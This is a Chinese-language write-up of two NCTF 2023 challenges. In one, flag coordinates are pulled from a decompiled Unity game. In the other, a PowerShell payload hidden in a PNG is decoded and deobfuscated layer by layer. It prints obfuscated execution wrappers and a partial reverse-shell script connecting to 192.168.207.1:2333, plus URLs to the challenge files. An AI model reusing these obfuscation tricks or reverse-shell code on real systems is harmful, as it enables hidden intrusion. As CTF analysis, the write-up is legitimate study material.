NCTF 2023 个人部分题解
目录跳转: |
---|
MISC题目: jump for signin |
MISC题目: NCTF2077: jackpot |
MISC部分
题目: jump for signin
首先,对于这个题我的想法是比较片面和主观的. 我刚开始认为flag在游戏模型里,准备下unity看反编译出的游戏素材. 后面跟其他师傅交流探讨才知道原来flag就藏在源码里
这个题有两个思路:
1、反编译Assembly-CSharp.dll后,直接修改Assembly-CSharp.dll中的游戏代码,让二维码一开局就展现出来
2、反编译Assembly-CSharp.dll,提取二维码坐标以后用二维平面展示出来
由于我身边正好趁手,因此选择了第二种方案
注意到,下面变量存在异常
{
class CubeGenerator{
public int[][] cubes_all = new int[][]{
new int[]{...},
new int[]{...},
new int[]{...},
...
}
}
}
注意到cubes_all该变量有大量疑似坐标点
观察后不难发现,new int[]中的数据应该是以下规律排列:
new int[]{x轴坐标, y轴坐标, z轴坐标, 该方块颜色}
且y轴坐标全都相同,方块颜色只有0 1两个值
因此写个脚本,提取所有的坐标以后再过滤无用的值,最后用像素绘图库绘图出来
import leectf
f = open('game.txt') #game.txt存放所有的点坐标
a = f.read()
f.close()
a = a.replace('\n','').replace('\t','')
pts = []
a1 = a.split('new int[]{')
for i in a1:
try:
i1 = i.split('}')[0]
i2 = i1.split(',')
if int(i2[3])==1:continue
pts.append([int(i2[0]),int(i2[2])]) #忽略y轴坐标
except:
pass
leectf.plot.draw2DPixel(pts)
出现二维像素图,扫描即获得flag
NCTF{25d8fdeb-0cb6-4ad4-8da1-788a72e701f0}
题目: NCTF2077: jackpot
首先,下载png图片和exe
https://zysgmzb.club/hello/nctf.png
https://zysgmzb.club/hello/target.exe
拿到后,先分析png
在这里,使用Invoke-PSImage技术可以解png的ps混淆,Invoke-PSImage解码exp如下所示
from PIL import Image
def solove_png(image_path):
img = Image.open(image_path)
width, height = img.size
extract_data = bytearray()
for y in range(height):
for x in range(width):
pixels = img.getpixel((x, y))
extract_byte = (pixels[1] & 0x0F) | ((pixels[2] & 0x0F) << 4)
extract_data.append(extract_byte)
return extract_data
image_path = "nctf.png"
data = solove_png(image_path)
with open('1.bin', 'wb') as f:
f.write(data)
解码后是一堆混淆后的powershell代码,怕一些层中间藏有信息,因此我们层层剥除来解混淆
第一层:
&((GV '*mdR*').NaMe[3,11,2]-JoIN'')
(NEw-ObjeCt sySTeM.iO.sTReamreadEr(
(NEw-ObjeCt Io.cOMPrEssIoN.DEflATeSTREaM(
[sYsTEM.iO.MemoRYsTReaM][cOnVert]::frOMbAsE64StRinG( '密文' ) ,[Io.cOMpReSsiON.cOMPreSsIonMoDe]::dEcOmprESs
)) , [tEXT.EncoDING]::aScII
)).reADTOeNd()
第一层最简单,把开头的&((GV '*mdR*').NaMe[3,11,2]-JoIN'')
去掉后,在前面加echo就行了
得到能进入第二层的代码为:
echo (NEw-ObjeCt sySTeM.iO.sTReamreadEr(
(NEw-ObjeCt Io.cOMPrEssIoN.DEflATeSTREaM(
[sYsTEM.iO.MemoRYsTReaM][cOnVert]::frOMbAsE64StRinG( '密文' ) ,[Io.cOMpReSsiON.cOMPreSsIonMoDe]::dEcOmprESs
)) , [tEXT.EncoDING]::aScII
)).reADTOeNd()
第二层:
(
'密文'.sPLIt('<r_l:{&Z' )
| %{ ([cOnVErt]::toInt16( ([strING]$_ ) , 16 )-aS[cHAr])}
) -JOIN ''
| & ( $EnV:COmspEc[4,15,25]-jOIN'')
这层我们逐个剥除慢慢试. 不难发现,首先在最外层包个括号后,再去掉| & ( $EnV:COmspEc[4,15,25]-jOIN'')
,最后再在前面加个echo就行了
得到进入第三层的代码是:
echo ((
'密文'.sPLIt('<r_l:{&Z' )
| %{ ([cOnVErt]::toInt16( ([strING]$_ ) , 16 )-aS[cHAr])}
) -JOIN '')
第三层:
.(([STRINg]$VeRbOSEPrefEReNcE)[1,3]+'X'-jOIN'')
(([rUNtiME.INTERoPsERvIceS.MaRshal]::PTRtOstrinGBsTr(
[runtIme.INTeRopSeRviCES.mARShAl]::seCUResTrInGTObsTR( $('密文' | conVeRtto-SEcurEsTrIng -key (143..112)) )
)))
这层虽然看起来很抽象,但是仔细看代码还是不难懂. 把前面.(([STRINg]$VeRbOSEPrefEReNcE)[1,3]+'X'-jOIN'')
这个执行的部分删掉,保留后面解密的代码,再在前面加个echo就行了
得到进入第四层的代码是:
echo (([rUNtiME.INTERoPsERvIceS.MaRshal]::PTRtOstrinGBsTr(
[runtIme.INTeRopSeRviCES.mARShAl]::seCUResTrInGTObsTR( $('密文' | conVeRtto-SEcurEsTrIng -key (143..112)) )
)))
第四层:
$socket = new-object System.Net.Sockets.TcpClient('192.168.207.1', 2333);
if ($socket -eq $null) { exit 1 }
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
$ffllaagg = "NCTF{5945cf0b-fdd6-4b7b";
do {
$writer.Flush();
$read = $null;
$res = ""
...省略代码...
很明显,前半部分flag已经出来了. 这里不做再多解释
NCTF{5945cf0b-fdd6-4b7b
继续分析exe,直接二进制查看器搜flag关键字,拿下flag后半段
-873e-12a9595bbce8}
组合起来就是: NCTF{5945cf0b-fdd6-4b7b-873e-12a9595bbce8}